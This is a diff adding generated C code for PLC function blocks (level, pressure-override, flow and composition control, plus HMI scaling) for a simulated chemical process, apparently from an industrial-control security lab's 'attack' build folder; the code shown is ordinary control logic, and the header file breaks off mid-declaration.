__INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + 